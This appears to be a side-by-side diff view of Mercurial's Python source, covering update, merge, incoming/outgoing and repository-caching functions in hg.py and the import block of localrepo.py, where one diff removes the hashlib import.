989 shutil.rmtree(cleandir, True)
988 shutil.rmtree(cleandir, True)
990 if srcpeer is not None:
989 if srcpeer is not None:
991 srcpeer.close()
990 srcpeer.close()
992 return srcpeer, destpeer
991 return srcpeer, destpeer
993
992
994
993
995 def _showstats(repo, stats, quietempty=False):
994 def _showstats(repo, stats, quietempty=False):
996 if quietempty and stats.isempty():
995 if quietempty and stats.isempty():
997 return
996 return
998 repo.ui.status(
997 repo.ui.status(
999 _(
998 _(
1000 b"%d files updated, %d files merged, "
999 b"%d files updated, %d files merged, "
1001 b"%d files removed, %d files unresolved\n"
1000 b"%d files removed, %d files unresolved\n"
1002 )
1001 )
1003 % (
1002 % (
1004 stats.updatedcount,
1003 stats.updatedcount,
1005 stats.mergedcount,
1004 stats.mergedcount,
1006 stats.removedcount,
1005 stats.removedcount,
1007 stats.unresolvedcount,
1006 stats.unresolvedcount,
1008 )
1007 )
1009 )
1008 )
1010
1009
1011
1010
1012 def updaterepo(repo, node, overwrite, updatecheck=None):
1011 def updaterepo(repo, node, overwrite, updatecheck=None):
1013 """Update the working directory to node.
1012 """Update the working directory to node.
1014
1013
1015 When overwrite is set, changes are clobbered, merged else
1014 When overwrite is set, changes are clobbered, merged else
1016
1015
1017 returns stats (see pydoc mercurial.merge.applyupdates)"""
1016 returns stats (see pydoc mercurial.merge.applyupdates)"""
1018 return mergemod.update(
1017 return mergemod.update(
1019 repo,
1018 repo,
1020 node,
1019 node,
1021 branchmerge=False,
1020 branchmerge=False,
1022 force=overwrite,
1021 force=overwrite,
1023 labels=[b'working copy', b'destination'],
1022 labels=[b'working copy', b'destination'],
1024 updatecheck=updatecheck,
1023 updatecheck=updatecheck,
1025 )
1024 )
1026
1025
1027
1026
1028 def update(repo, node, quietempty=False, updatecheck=None):
1027 def update(repo, node, quietempty=False, updatecheck=None):
1029 """update the working directory to node"""
1028 """update the working directory to node"""
1030 stats = updaterepo(repo, node, False, updatecheck=updatecheck)
1029 stats = updaterepo(repo, node, False, updatecheck=updatecheck)
1031 _showstats(repo, stats, quietempty)
1030 _showstats(repo, stats, quietempty)
1032 if stats.unresolvedcount:
1031 if stats.unresolvedcount:
1033 repo.ui.status(_(b"use 'hg resolve' to retry unresolved file merges\n"))
1032 repo.ui.status(_(b"use 'hg resolve' to retry unresolved file merges\n"))
1034 return stats.unresolvedcount > 0
1033 return stats.unresolvedcount > 0
1035
1034
1036
1035
1037 # naming conflict in clone()
1036 # naming conflict in clone()
1038 _update = update
1037 _update = update
1039
1038
1040
1039
1041 def clean(repo, node, show_stats=True, quietempty=False):
1040 def clean(repo, node, show_stats=True, quietempty=False):
1042 """forcibly switch the working directory to node, clobbering changes"""
1041 """forcibly switch the working directory to node, clobbering changes"""
1043 stats = updaterepo(repo, node, True)
1042 stats = updaterepo(repo, node, True)
1044 repo.vfs.unlinkpath(b'graftstate', ignoremissing=True)
1043 repo.vfs.unlinkpath(b'graftstate', ignoremissing=True)
1045 if show_stats:
1044 if show_stats:
1046 _showstats(repo, stats, quietempty)
1045 _showstats(repo, stats, quietempty)
1047 return stats.unresolvedcount > 0
1046 return stats.unresolvedcount > 0
1048
1047
1049
1048
1050 # naming conflict in updatetotally()
1049 # naming conflict in updatetotally()
1051 _clean = clean
1050 _clean = clean
1052
1051
1053 _VALID_UPDATECHECKS = {
1052 _VALID_UPDATECHECKS = {
1054 mergemod.UPDATECHECK_ABORT,
1053 mergemod.UPDATECHECK_ABORT,
1055 mergemod.UPDATECHECK_NONE,
1054 mergemod.UPDATECHECK_NONE,
1056 mergemod.UPDATECHECK_LINEAR,
1055 mergemod.UPDATECHECK_LINEAR,
1057 mergemod.UPDATECHECK_NO_CONFLICT,
1056 mergemod.UPDATECHECK_NO_CONFLICT,
1058 }
1057 }
1059
1058
1060
1059
1061 def updatetotally(ui, repo, checkout, brev, clean=False, updatecheck=None):
1060 def updatetotally(ui, repo, checkout, brev, clean=False, updatecheck=None):
1062 """Update the working directory with extra care for non-file components
1061 """Update the working directory with extra care for non-file components
1063
1062
1064 This takes care of non-file components below:
1063 This takes care of non-file components below:
1065
1064
1066 :bookmark: might be advanced or (in)activated
1065 :bookmark: might be advanced or (in)activated
1067
1066
1068 This takes arguments below:
1067 This takes arguments below:
1069
1068
1070 :checkout: to which revision the working directory is updated
1069 :checkout: to which revision the working directory is updated
1071 :brev: a name, which might be a bookmark to be activated after updating
1070 :brev: a name, which might be a bookmark to be activated after updating
1072 :clean: whether changes in the working directory can be discarded
1071 :clean: whether changes in the working directory can be discarded
1073 :updatecheck: how to deal with a dirty working directory
1072 :updatecheck: how to deal with a dirty working directory
1074
1073
1075 Valid values for updatecheck are the UPDATECHECK_* constants
1074 Valid values for updatecheck are the UPDATECHECK_* constants
1076 defined in the merge module. Passing `None` will result in using the
1075 defined in the merge module. Passing `None` will result in using the
1077 configured default.
1076 configured default.
1078
1077
1079 * ABORT: abort if the working directory is dirty
1078 * ABORT: abort if the working directory is dirty
1080 * NONE: don't check (merge working directory changes into destination)
1079 * NONE: don't check (merge working directory changes into destination)
1081 * LINEAR: check that update is linear before merging working directory
1080 * LINEAR: check that update is linear before merging working directory
1082 changes into destination
1081 changes into destination
1083 * NO_CONFLICT: check that the update does not result in file merges
1082 * NO_CONFLICT: check that the update does not result in file merges
1084
1083
1085 This returns whether conflict is detected at updating or not.
1084 This returns whether conflict is detected at updating or not.
1086 """
1085 """
1087 if updatecheck is None:
1086 if updatecheck is None:
1088 updatecheck = ui.config(b'commands', b'update.check')
1087 updatecheck = ui.config(b'commands', b'update.check')
1089 if updatecheck not in _VALID_UPDATECHECKS:
1088 if updatecheck not in _VALID_UPDATECHECKS:
1090 # If not configured, or invalid value configured
1089 # If not configured, or invalid value configured
1091 updatecheck = mergemod.UPDATECHECK_LINEAR
1090 updatecheck = mergemod.UPDATECHECK_LINEAR
1092 if updatecheck not in _VALID_UPDATECHECKS:
1091 if updatecheck not in _VALID_UPDATECHECKS:
1093 raise ValueError(
1092 raise ValueError(
1094 r'Invalid updatecheck value %r (can accept %r)'
1093 r'Invalid updatecheck value %r (can accept %r)'
1095 % (updatecheck, _VALID_UPDATECHECKS)
1094 % (updatecheck, _VALID_UPDATECHECKS)
1096 )
1095 )
1097 with repo.wlock():
1096 with repo.wlock():
1098 movemarkfrom = None
1097 movemarkfrom = None
1099 warndest = False
1098 warndest = False
1100 if checkout is None:
1099 if checkout is None:
1101 updata = destutil.destupdate(repo, clean=clean)
1100 updata = destutil.destupdate(repo, clean=clean)
1102 checkout, movemarkfrom, brev = updata
1101 checkout, movemarkfrom, brev = updata
1103 warndest = True
1102 warndest = True
1104
1103
1105 if clean:
1104 if clean:
1106 ret = _clean(repo, checkout)
1105 ret = _clean(repo, checkout)
1107 else:
1106 else:
1108 if updatecheck == mergemod.UPDATECHECK_ABORT:
1107 if updatecheck == mergemod.UPDATECHECK_ABORT:
1109 cmdutil.bailifchanged(repo, merge=False)
1108 cmdutil.bailifchanged(repo, merge=False)
1110 updatecheck = mergemod.UPDATECHECK_NONE
1109 updatecheck = mergemod.UPDATECHECK_NONE
1111 ret = _update(repo, checkout, updatecheck=updatecheck)
1110 ret = _update(repo, checkout, updatecheck=updatecheck)
1112
1111
1113 if not ret and movemarkfrom:
1112 if not ret and movemarkfrom:
1114 if movemarkfrom == repo[b'.'].node():
1113 if movemarkfrom == repo[b'.'].node():
1115 pass # no-op update
1114 pass # no-op update
1116 elif bookmarks.update(repo, [movemarkfrom], repo[b'.'].node()):
1115 elif bookmarks.update(repo, [movemarkfrom], repo[b'.'].node()):
1117 b = ui.label(repo._activebookmark, b'bookmarks.active')
1116 b = ui.label(repo._activebookmark, b'bookmarks.active')
1118 ui.status(_(b"updating bookmark %s\n") % b)
1117 ui.status(_(b"updating bookmark %s\n") % b)
1119 else:
1118 else:
1120 # this can happen with a non-linear update
1119 # this can happen with a non-linear update
1121 b = ui.label(repo._activebookmark, b'bookmarks')
1120 b = ui.label(repo._activebookmark, b'bookmarks')
1122 ui.status(_(b"(leaving bookmark %s)\n") % b)
1121 ui.status(_(b"(leaving bookmark %s)\n") % b)
1123 bookmarks.deactivate(repo)
1122 bookmarks.deactivate(repo)
1124 elif brev in repo._bookmarks:
1123 elif brev in repo._bookmarks:
1125 if brev != repo._activebookmark:
1124 if brev != repo._activebookmark:
1126 b = ui.label(brev, b'bookmarks.active')
1125 b = ui.label(brev, b'bookmarks.active')
1127 ui.status(_(b"(activating bookmark %s)\n") % b)
1126 ui.status(_(b"(activating bookmark %s)\n") % b)
1128 bookmarks.activate(repo, brev)
1127 bookmarks.activate(repo, brev)
1129 elif brev:
1128 elif brev:
1130 if repo._activebookmark:
1129 if repo._activebookmark:
1131 b = ui.label(repo._activebookmark, b'bookmarks')
1130 b = ui.label(repo._activebookmark, b'bookmarks')
1132 ui.status(_(b"(leaving bookmark %s)\n") % b)
1131 ui.status(_(b"(leaving bookmark %s)\n") % b)
1133 bookmarks.deactivate(repo)
1132 bookmarks.deactivate(repo)
1134
1133
1135 if warndest:
1134 if warndest:
1136 destutil.statusotherdests(ui, repo)
1135 destutil.statusotherdests(ui, repo)
1137
1136
1138 return ret
1137 return ret
1139
1138
1140
1139
1141 def merge(
1140 def merge(
1142 repo,
1141 repo,
1143 node,
1142 node,
1144 force=None,
1143 force=None,
1145 remind=True,
1144 remind=True,
1146 mergeforce=False,
1145 mergeforce=False,
1147 labels=None,
1146 labels=None,
1148 abort=False,
1147 abort=False,
1149 ):
1148 ):
1150 """Branch merge with node, resolving changes. Return true if any
1149 """Branch merge with node, resolving changes. Return true if any
1151 unresolved conflicts."""
1150 unresolved conflicts."""
1152 if abort:
1151 if abort:
1153 return abortmerge(repo.ui, repo)
1152 return abortmerge(repo.ui, repo)
1154
1153
1155 stats = mergemod.update(
1154 stats = mergemod.update(
1156 repo,
1155 repo,
1157 node,
1156 node,
1158 branchmerge=True,
1157 branchmerge=True,
1159 force=force,
1158 force=force,
1160 mergeforce=mergeforce,
1159 mergeforce=mergeforce,
1161 labels=labels,
1160 labels=labels,
1162 )
1161 )
1163 _showstats(repo, stats)
1162 _showstats(repo, stats)
1164 if stats.unresolvedcount:
1163 if stats.unresolvedcount:
1165 repo.ui.status(
1164 repo.ui.status(
1166 _(
1165 _(
1167 b"use 'hg resolve' to retry unresolved file merges "
1166 b"use 'hg resolve' to retry unresolved file merges "
1168 b"or 'hg merge --abort' to abandon\n"
1167 b"or 'hg merge --abort' to abandon\n"
1169 )
1168 )
1170 )
1169 )
1171 elif remind:
1170 elif remind:
1172 repo.ui.status(_(b"(branch merge, don't forget to commit)\n"))
1171 repo.ui.status(_(b"(branch merge, don't forget to commit)\n"))
1173 return stats.unresolvedcount > 0
1172 return stats.unresolvedcount > 0
1174
1173
1175
1174
1176 def abortmerge(ui, repo):
1175 def abortmerge(ui, repo):
1177 ms = mergemod.mergestate.read(repo)
1176 ms = mergemod.mergestate.read(repo)
1178 if ms.active():
1177 if ms.active():
1179 # there were conflicts
1178 # there were conflicts
1180 node = ms.localctx.hex()
1179 node = ms.localctx.hex()
1181 else:
1180 else:
1182 # there were no conficts, mergestate was not stored
1181 # there were no conficts, mergestate was not stored
1183 node = repo[b'.'].hex()
1182 node = repo[b'.'].hex()
1184
1183
1185 repo.ui.status(_(b"aborting the merge, updating back to %s\n") % node[:12])
1184 repo.ui.status(_(b"aborting the merge, updating back to %s\n") % node[:12])
1186 stats = mergemod.update(repo, node, branchmerge=False, force=True)
1185 stats = mergemod.update(repo, node, branchmerge=False, force=True)
1187 _showstats(repo, stats)
1186 _showstats(repo, stats)
1188 return stats.unresolvedcount > 0
1187 return stats.unresolvedcount > 0
1189
1188
1190
1189
1191 def _incoming(
1190 def _incoming(
1192 displaychlist, subreporecurse, ui, repo, source, opts, buffered=False
1191 displaychlist, subreporecurse, ui, repo, source, opts, buffered=False
1193 ):
1192 ):
1194 """
1193 """
1195 Helper for incoming / gincoming.
1194 Helper for incoming / gincoming.
1196 displaychlist gets called with
1195 displaychlist gets called with
1197 (remoterepo, incomingchangesetlist, displayer) parameters,
1196 (remoterepo, incomingchangesetlist, displayer) parameters,
1198 and is supposed to contain only code that can't be unified.
1197 and is supposed to contain only code that can't be unified.
1199 """
1198 """
1200 source, branches = parseurl(ui.expandpath(source), opts.get(b'branch'))
1199 source, branches = parseurl(ui.expandpath(source), opts.get(b'branch'))
1201 other = peer(repo, opts, source)
1200 other = peer(repo, opts, source)
1202 ui.status(_(b'comparing with %s\n') % util.hidepassword(source))
1201 ui.status(_(b'comparing with %s\n') % util.hidepassword(source))
1203 revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev'))
1202 revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev'))
1204
1203
1205 if revs:
1204 if revs:
1206 revs = [other.lookup(rev) for rev in revs]
1205 revs = [other.lookup(rev) for rev in revs]
1207 other, chlist, cleanupfn = bundlerepo.getremotechanges(
1206 other, chlist, cleanupfn = bundlerepo.getremotechanges(
1208 ui, repo, other, revs, opts[b"bundle"], opts[b"force"]
1207 ui, repo, other, revs, opts[b"bundle"], opts[b"force"]
1209 )
1208 )
1210 try:
1209 try:
1211 if not chlist:
1210 if not chlist:
1212 ui.status(_(b"no changes found\n"))
1211 ui.status(_(b"no changes found\n"))
1213 return subreporecurse()
1212 return subreporecurse()
1214 ui.pager(b'incoming')
1213 ui.pager(b'incoming')
1215 displayer = logcmdutil.changesetdisplayer(
1214 displayer = logcmdutil.changesetdisplayer(
1216 ui, other, opts, buffered=buffered
1215 ui, other, opts, buffered=buffered
1217 )
1216 )
1218 displaychlist(other, chlist, displayer)
1217 displaychlist(other, chlist, displayer)
1219 displayer.close()
1218 displayer.close()
1220 finally:
1219 finally:
1221 cleanupfn()
1220 cleanupfn()
1222 subreporecurse()
1221 subreporecurse()
1223 return 0 # exit code is zero since we found incoming changes
1222 return 0 # exit code is zero since we found incoming changes
1224
1223
1225
1224
1226 def incoming(ui, repo, source, opts):
1225 def incoming(ui, repo, source, opts):
1227 def subreporecurse():
1226 def subreporecurse():
1228 ret = 1
1227 ret = 1
1229 if opts.get(b'subrepos'):
1228 if opts.get(b'subrepos'):
1230 ctx = repo[None]
1229 ctx = repo[None]
1231 for subpath in sorted(ctx.substate):
1230 for subpath in sorted(ctx.substate):
1232 sub = ctx.sub(subpath)
1231 sub = ctx.sub(subpath)
1233 ret = min(ret, sub.incoming(ui, source, opts))
1232 ret = min(ret, sub.incoming(ui, source, opts))
1234 return ret
1233 return ret
1235
1234
1236 def display(other, chlist, displayer):
1235 def display(other, chlist, displayer):
1237 limit = logcmdutil.getlimit(opts)
1236 limit = logcmdutil.getlimit(opts)
1238 if opts.get(b'newest_first'):
1237 if opts.get(b'newest_first'):
1239 chlist.reverse()
1238 chlist.reverse()
1240 count = 0
1239 count = 0
1241 for n in chlist:
1240 for n in chlist:
1242 if limit is not None and count >= limit:
1241 if limit is not None and count >= limit:
1243 break
1242 break
1244 parents = [p for p in other.changelog.parents(n) if p != nullid]
1243 parents = [p for p in other.changelog.parents(n) if p != nullid]
1245 if opts.get(b'no_merges') and len(parents) == 2:
1244 if opts.get(b'no_merges') and len(parents) == 2:
1246 continue
1245 continue
1247 count += 1
1246 count += 1
1248 displayer.show(other[n])
1247 displayer.show(other[n])
1249
1248
1250 return _incoming(display, subreporecurse, ui, repo, source, opts)
1249 return _incoming(display, subreporecurse, ui, repo, source, opts)
1251
1250
1252
1251
1253 def _outgoing(ui, repo, dest, opts):
1252 def _outgoing(ui, repo, dest, opts):
1254 path = ui.paths.getpath(dest, default=(b'default-push', b'default'))
1253 path = ui.paths.getpath(dest, default=(b'default-push', b'default'))
1255 if not path:
1254 if not path:
1256 raise error.Abort(
1255 raise error.Abort(
1257 _(b'default repository not configured!'),
1256 _(b'default repository not configured!'),
1258 hint=_(b"see 'hg help config.paths'"),
1257 hint=_(b"see 'hg help config.paths'"),
1259 )
1258 )
1260 dest = path.pushloc or path.loc
1259 dest = path.pushloc or path.loc
1261 branches = path.branch, opts.get(b'branch') or []
1260 branches = path.branch, opts.get(b'branch') or []
1262
1261
1263 ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
1262 ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
1264 revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev'))
1263 revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev'))
1265 if revs:
1264 if revs:
1266 revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)]
1265 revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)]
1267
1266
1268 other = peer(repo, opts, dest)
1267 other = peer(repo, opts, dest)
1269 outgoing = discovery.findcommonoutgoing(
1268 outgoing = discovery.findcommonoutgoing(
1270 repo, other, revs, force=opts.get(b'force')
1269 repo, other, revs, force=opts.get(b'force')
1271 )
1270 )
1272 o = outgoing.missing
1271 o = outgoing.missing
1273 if not o:
1272 if not o:
1274 scmutil.nochangesfound(repo.ui, repo, outgoing.excluded)
1273 scmutil.nochangesfound(repo.ui, repo, outgoing.excluded)
1275 return o, other
1274 return o, other
1276
1275
1277
1276
1278 def outgoing(ui, repo, dest, opts):
1277 def outgoing(ui, repo, dest, opts):
1279 def recurse():
1278 def recurse():
1280 ret = 1
1279 ret = 1
1281 if opts.get(b'subrepos'):
1280 if opts.get(b'subrepos'):
1282 ctx = repo[None]
1281 ctx = repo[None]
1283 for subpath in sorted(ctx.substate):
1282 for subpath in sorted(ctx.substate):
1284 sub = ctx.sub(subpath)
1283 sub = ctx.sub(subpath)
1285 ret = min(ret, sub.outgoing(ui, dest, opts))
1284 ret = min(ret, sub.outgoing(ui, dest, opts))
1286 return ret
1285 return ret
1287
1286
1288 limit = logcmdutil.getlimit(opts)
1287 limit = logcmdutil.getlimit(opts)
1289 o, other = _outgoing(ui, repo, dest, opts)
1288 o, other = _outgoing(ui, repo, dest, opts)
1290 if not o:
1289 if not o:
1291 cmdutil.outgoinghooks(ui, repo, other, opts, o)
1290 cmdutil.outgoinghooks(ui, repo, other, opts, o)
1292 return recurse()
1291 return recurse()
1293
1292
1294 if opts.get(b'newest_first'):
1293 if opts.get(b'newest_first'):
1295 o.reverse()
1294 o.reverse()
1296 ui.pager(b'outgoing')
1295 ui.pager(b'outgoing')
1297 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
1296 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
1298 count = 0
1297 count = 0
1299 for n in o:
1298 for n in o:
1300 if limit is not None and count >= limit:
1299 if limit is not None and count >= limit:
1301 break
1300 break
1302 parents = [p for p in repo.changelog.parents(n) if p != nullid]
1301 parents = [p for p in repo.changelog.parents(n) if p != nullid]
1303 if opts.get(b'no_merges') and len(parents) == 2:
1302 if opts.get(b'no_merges') and len(parents) == 2:
1304 continue
1303 continue
1305 count += 1
1304 count += 1
1306 displayer.show(repo[n])
1305 displayer.show(repo[n])
1307 displayer.close()
1306 displayer.close()
1308 cmdutil.outgoinghooks(ui, repo, other, opts, o)
1307 cmdutil.outgoinghooks(ui, repo, other, opts, o)
1309 recurse()
1308 recurse()
1310 return 0 # exit code is zero since we found outgoing changes
1309 return 0 # exit code is zero since we found outgoing changes
1311
1310
1312
1311
1313 def verify(repo, level=None):
1312 def verify(repo, level=None):
1314 """verify the consistency of a repository"""
1313 """verify the consistency of a repository"""
1315 ret = verifymod.verify(repo, level=level)
1314 ret = verifymod.verify(repo, level=level)
1316
1315
1317 # Broken subrepo references in hidden csets don't seem worth worrying about,
1316 # Broken subrepo references in hidden csets don't seem worth worrying about,
1318 # since they can't be pushed/pulled, and --hidden can be used if they are a
1317 # since they can't be pushed/pulled, and --hidden can be used if they are a
1319 # concern.
1318 # concern.
1320
1319
1321 # pathto() is needed for -R case
1320 # pathto() is needed for -R case
1322 revs = repo.revs(
1321 revs = repo.revs(
1323 b"filelog(%s)", util.pathto(repo.root, repo.getcwd(), b'.hgsubstate')
1322 b"filelog(%s)", util.pathto(repo.root, repo.getcwd(), b'.hgsubstate')
1324 )
1323 )
1325
1324
1326 if revs:
1325 if revs:
1327 repo.ui.status(_(b'checking subrepo links\n'))
1326 repo.ui.status(_(b'checking subrepo links\n'))
1328 for rev in revs:
1327 for rev in revs:
1329 ctx = repo[rev]
1328 ctx = repo[rev]
1330 try:
1329 try:
1331 for subpath in ctx.substate:
1330 for subpath in ctx.substate:
1332 try:
1331 try:
1333 ret = (
1332 ret = (
1334 ctx.sub(subpath, allowcreate=False).verify() or ret
1333 ctx.sub(subpath, allowcreate=False).verify() or ret
1335 )
1334 )
1336 except error.RepoError as e:
1335 except error.RepoError as e:
1337 repo.ui.warn(b'%d: %s\n' % (rev, e))
1336 repo.ui.warn(b'%d: %s\n' % (rev, e))
1338 except Exception:
1337 except Exception:
1339 repo.ui.warn(
1338 repo.ui.warn(
1340 _(b'.hgsubstate is corrupt in revision %s\n')
1339 _(b'.hgsubstate is corrupt in revision %s\n')
1341 % node.short(ctx.node())
1340 % node.short(ctx.node())
1342 )
1341 )
1343
1342
1344 return ret
1343 return ret
1345
1344
1346
1345
1347 def remoteui(src, opts):
1346 def remoteui(src, opts):
1348 """build a remote ui from ui or repo and opts"""
1347 """build a remote ui from ui or repo and opts"""
1349 if util.safehasattr(src, b'baseui'): # looks like a repository
1348 if util.safehasattr(src, b'baseui'): # looks like a repository
1350 dst = src.baseui.copy() # drop repo-specific config
1349 dst = src.baseui.copy() # drop repo-specific config
1351 src = src.ui # copy target options from repo
1350 src = src.ui # copy target options from repo
1352 else: # assume it's a global ui object
1351 else: # assume it's a global ui object
1353 dst = src.copy() # keep all global options
1352 dst = src.copy() # keep all global options
1354
1353
1355 # copy ssh-specific options
1354 # copy ssh-specific options
1356 for o in b'ssh', b'remotecmd':
1355 for o in b'ssh', b'remotecmd':
1357 v = opts.get(o) or src.config(b'ui', o)
1356 v = opts.get(o) or src.config(b'ui', o)
1358 if v:
1357 if v:
1359 dst.setconfig(b"ui", o, v, b'copied')
1358 dst.setconfig(b"ui", o, v, b'copied')
1360
1359
1361 # copy bundle-specific options
1360 # copy bundle-specific options
1362 r = src.config(b'bundle', b'mainreporoot')
1361 r = src.config(b'bundle', b'mainreporoot')
1363 if r:
1362 if r:
1364 dst.setconfig(b'bundle', b'mainreporoot', r, b'copied')
1363 dst.setconfig(b'bundle', b'mainreporoot', r, b'copied')
1365
1364
1366 # copy selected local settings to the remote ui
1365 # copy selected local settings to the remote ui
1367 for sect in (b'auth', b'hostfingerprints', b'hostsecurity', b'http_proxy'):
1366 for sect in (b'auth', b'hostfingerprints', b'hostsecurity', b'http_proxy'):
1368 for key, val in src.configitems(sect):
1367 for key, val in src.configitems(sect):
1369 dst.setconfig(sect, key, val, b'copied')
1368 dst.setconfig(sect, key, val, b'copied')
1370 v = src.config(b'web', b'cacerts')
1369 v = src.config(b'web', b'cacerts')
1371 if v:
1370 if v:
1372 dst.setconfig(b'web', b'cacerts', util.expandpath(v), b'copied')
1371 dst.setconfig(b'web', b'cacerts', util.expandpath(v), b'copied')
1373
1372
1374 return dst
1373 return dst
1375
1374
1376
1375
1377 # Files of interest
1376 # Files of interest
1378 # Used to check if the repository has changed looking at mtime and size of
1377 # Used to check if the repository has changed looking at mtime and size of
1379 # these files.
1378 # these files.
1380 foi = [
1379 foi = [
1381 (b'spath', b'00changelog.i'),
1380 (b'spath', b'00changelog.i'),
1382 (b'spath', b'phaseroots'), # ! phase can change content at the same size
1381 (b'spath', b'phaseroots'), # ! phase can change content at the same size
1383 (b'spath', b'obsstore'),
1382 (b'spath', b'obsstore'),
1384 (b'path', b'bookmarks'), # ! bookmark can change content at the same size
1383 (b'path', b'bookmarks'), # ! bookmark can change content at the same size
1385 ]
1384 ]
1386
1385
1387
1386
1388 class cachedlocalrepo(object):
1387 class cachedlocalrepo(object):
1389 """Holds a localrepository that can be cached and reused."""
1388 """Holds a localrepository that can be cached and reused."""
1390
1389
1391 def __init__(self, repo):
1390 def __init__(self, repo):
1392 """Create a new cached repo from an existing repo.
1391 """Create a new cached repo from an existing repo.
1393
1392
1394 We assume the passed in repo was recently created. If the
1393 We assume the passed in repo was recently created. If the
1395 repo has changed between when it was created and when it was
1394 repo has changed between when it was created and when it was
1396 turned into a cache, it may not refresh properly.
1395 turned into a cache, it may not refresh properly.
1397 """
1396 """
1398 assert isinstance(repo, localrepo.localrepository)
1397 assert isinstance(repo, localrepo.localrepository)
1399 self._repo = repo
1398 self._repo = repo
1400 self._state, self.mtime = self._repostate()
1399 self._state, self.mtime = self._repostate()
1401 self._filtername = repo.filtername
1400 self._filtername = repo.filtername
1402
1401
1403 def fetch(self):
1402 def fetch(self):
1404 """Refresh (if necessary) and return a repository.
1403 """Refresh (if necessary) and return a repository.
1405
1404
1406 If the cached instance is out of date, it will be recreated
1405 If the cached instance is out of date, it will be recreated
1407 automatically and returned.
1406 automatically and returned.
1408
1407
1409 Returns a tuple of the repo and a boolean indicating whether a new
1408 Returns a tuple of the repo and a boolean indicating whether a new
1410 repo instance was created.
1409 repo instance was created.
1411 """
1410 """
1412 # We compare the mtimes and sizes of some well-known files to
1411 # We compare the mtimes and sizes of some well-known files to
1413 # determine if the repo changed. This is not precise, as mtimes
1412 # determine if the repo changed. This is not precise, as mtimes
1414 # are susceptible to clock skew and imprecise filesystems and
1413 # are susceptible to clock skew and imprecise filesystems and
1415 # file content can change while maintaining the same size.
1414 # file content can change while maintaining the same size.
1416
1415
1417 state, mtime = self._repostate()
1416 state, mtime = self._repostate()
1418 if state == self._state:
1417 if state == self._state:
1419 return self._repo, False
1418 return self._repo, False
1420
1419
1421 repo = repository(self._repo.baseui, self._repo.url())
1420 repo = repository(self._repo.baseui, self._repo.url())
1422 if self._filtername:
1421 if self._filtername:
1423 self._repo = repo.filtered(self._filtername)
1422 self._repo = repo.filtered(self._filtername)
1424 else:
1423 else:
1425 self._repo = repo.unfiltered()
1424 self._repo = repo.unfiltered()
1426 self._state = state
1425 self._state = state
1427 self.mtime = mtime
1426 self.mtime = mtime
1428
1427
1429 return self._repo, True
1428 return self._repo, True
1430
1429
1431 def _repostate(self):
1430 def _repostate(self):
1432 state = []
1431 state = []
1433 maxmtime = -1
1432 maxmtime = -1
1434 for attr, fname in foi:
1433 for attr, fname in foi:
1435 prefix = getattr(self._repo, attr)
1434 prefix = getattr(self._repo, attr)
1436 p = os.path.join(prefix, fname)
1435 p = os.path.join(prefix, fname)
1437 try:
1436 try:
1438 st = os.stat(p)
1437 st = os.stat(p)
1439 except OSError:
1438 except OSError:
1440 st = os.stat(prefix)
1439 st = os.stat(prefix)
1441 state.append((st[stat.ST_MTIME], st.st_size))
1440 state.append((st[stat.ST_MTIME], st.st_size))
1442 maxmtime = max(maxmtime, st[stat.ST_MTIME])
1441 maxmtime = max(maxmtime, st[stat.ST_MTIME])
1443
1442
1444 return tuple(state), maxmtime
1443 return tuple(state), maxmtime
1445
1444
1446 def copy(self):
1445 def copy(self):
1447 """Obtain a copy of this class instance.
1446 """Obtain a copy of this class instance.
1448
1447
1449 A new localrepository instance is obtained. The new instance should be
1448 A new localrepository instance is obtained. The new instance should be
1450 completely independent of the original.
1449 completely independent of the original.
1451 """
1450 """
1452 repo = repository(self._repo.baseui, self._repo.origroot)
1451 repo = repository(self._repo.baseui, self._repo.origroot)
1453 if self._filtername:
1452 if self._filtername:
1454 repo = repo.filtered(self._filtername)
1453 repo = repo.filtered(self._filtername)
1455 else:
1454 else:
1456 repo = repo.unfiltered()
1455 repo = repo.unfiltered()
1457 c = cachedlocalrepo(repo)
1456 c = cachedlocalrepo(repo)
1458 c._state = self._state
1457 c._state = self._state
1459 c.mtime = self.mtime
1458 c.mtime = self.mtime
1460 return c
1459 return c
@@ -1,3734 +1,3734
1 # localrepo.py - read/write repository class for mercurial
1 # localrepo.py - read/write repository class for mercurial
2 #
2 #
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import errno
10 import errno
11 import hashlib
12 import os
11 import os
13 import random
12 import random
14 import sys
13 import sys
15 import time
14 import time
16 import weakref
15 import weakref
17
16
18 from .i18n import _
17 from .i18n import _
19 from .node import (
18 from .node import (
20 bin,
19 bin,
21 hex,
20 hex,
22 nullid,
21 nullid,
23 nullrev,
22 nullrev,
24 short,
23 short,
25 )
24 )
26 from .pycompat import (
25 from .pycompat import (
27 delattr,
26 delattr,
28 getattr,
27 getattr,
29 )
28 )
30 from . import (
29 from . import (
31 bookmarks,
30 bookmarks,
32 branchmap,
31 branchmap,
33 bundle2,
32 bundle2,
34 changegroup,
33 changegroup,
35 color,
34 color,
36 context,
35 context,
37 dirstate,
36 dirstate,
38 dirstateguard,
37 dirstateguard,
39 discovery,
38 discovery,
40 encoding,
39 encoding,
41 error,
40 error,
42 exchange,
41 exchange,
43 extensions,
42 extensions,
44 filelog,
43 filelog,
45 hook,
44 hook,
46 lock as lockmod,
45 lock as lockmod,
47 match as matchmod,
46 match as matchmod,
48 merge as mergemod,
47 merge as mergemod,
49 mergeutil,
48 mergeutil,
50 namespaces,
49 namespaces,
51 narrowspec,
50 narrowspec,
52 obsolete,
51 obsolete,
53 pathutil,
52 pathutil,
54 phases,
53 phases,
55 pushkey,
54 pushkey,
56 pycompat,
55 pycompat,
57 repoview,
56 repoview,
58 revset,
57 revset,
59 revsetlang,
58 revsetlang,
60 scmutil,
59 scmutil,
61 sparse,
60 sparse,
62 store as storemod,
61 store as storemod,
63 subrepoutil,
